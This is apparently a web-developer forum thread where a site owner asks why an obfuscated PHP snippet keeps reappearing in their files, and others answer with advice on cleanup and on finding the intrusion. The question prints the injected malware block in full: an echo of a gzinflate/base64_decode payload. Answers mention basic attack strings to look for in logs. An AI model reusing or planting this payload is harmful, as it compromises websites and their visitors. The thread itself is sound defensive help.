My internet website keeps on being infected with the following code. I keep removing it, after some day maybe it is there again. Help please.
#d93065#
echo(gzinflate(base64_decode("tVXbjptADP2VNi+BRmmZgbkglr70E/qIeIgTyLLahhRQ0CrKv9c2QzbZknRVaZWLPB7P8bF9Bh7adVPtu+9VGiRd83LcN3VXdy/7IjmtV9360Su2Rb9tN/6xTLP5MpRAPx2BFrCMYSlAxWACUBaMBm1BB6DRo0CBlrRCU6Lb8M7FvolAKrABRCEoTcGhYYNjEHgpQRnGjikMl2giHiiyLDJB3JHRKysTvqKgjUABCHsVbCPiTkwM0aB08RTg7dKMJWxMiCvH1oCIJyggMqYgjwXJVeiQy8evAIFtwQ/WaQc2hiH4vKJThrct8SCT01sQzEEwFDeKslg6qjgC/UMuPOi20UX8I54KM3gbYbiagQeGDtsDIWpSRCzpvHF1YyTRD11aFbsGYbORFBGOxg5FtKQtnrDirpuhYO1aKM4aEeTBSMNIipHE2YGcpOBWTzRb8hwm532xpEPcS2Wv2C3jOxKakIfhaiggdtdB8rxvy0YNsgn4HJc9eTUG8U9oSQ61oVs54dIco1FPoZvSuakD0Fl/aIcfpcArYpc6Uv/Q0PlSvJEROm8j3tDXgHVLYvcQL7XnlH+fwajL6eD3Tub6zo7zcXfyf2b99zWfAn3/g+4Dn+GKb4FgFTEgxkjtlIC5FL9e9OTze55nQf613T9XnTeHuZ8c0lkxW8wOK/x7niWnqvQOfpH21W5T99kh55fbrug/CanGV9vvfusf+7RM2jTLk1OT/uyaardNyrrxEqXN57RKqkUq/OMTWaVX+G3aLppsVmKWBn/1rx/4/7gim6x6U8xyr8+e8i9iEQmfeRR+4bV+8vDNvWr/AA==")));
#/d93065#
Edit: Is there any way to find out how did the code come if it ever happens again. Could it be from the provider or what? I also have to say that all my accounts are infected not only one.
My suggestion would be that your FTP account has been compromised. Change your FTP password and don't store it anywhere, clean your web and wait if it helps. If you store your FTP password in your computer, double-check it for viruses/malware. It may happen that some malware grabs your FTP password stored e.g. in Total Commander's list of FTP accounts.
Review your php code. There might be some vulnerability in it somewhere that allows an attacker to modify your files. Or your web server could be vulnerable.
The reason why it is coming back is because someone (or a bot/script) is doing it repeatedly and you've not secured all the parts that run your application i.e. server + code.
Like @pomeh suggests, monitor your server logs to see which files are being accessed to see how it is happening.
Your site is probably open for attacks. And since you don't fix the open "holes" the attacker can inject the code again, and again.
I would start by checking server logs and ftp logs, that should give you a hint where is the problem. My guess would be that your site got compromised and user left a simple php shell behind for further access, which is the scenario for most of the cases. This can be uncovered just by looking at logs; this might be a little timely, and require a person at least little experienced in what to look for (things like traversal inclusion attempts - ../, sql injection attempts - and 1=1, xss - <script>alert, those are just the most basic of examples). If however there was more serious intrusion, it will be more difficult to uncover as the person would be able to cover his tracks by getting rid of logs, so I'd probably also check for rootkits just to be safe. Also it depends whether you are on shared host, in which case messed up server permissions can result in your website being vulnerable as a result of another website being compromised. A lot of websites get attacked this way, majority of small and middle sized hosting providers don't provide enough security in this area, essentially rendering your website only as secure as the least secure website hosted on the server. As said in other answers, if you use open source solution check via google or for example at http://www.exploit-db.com/ if there had been any exploits released lately. Lastly you might want to check the server and what services it is running.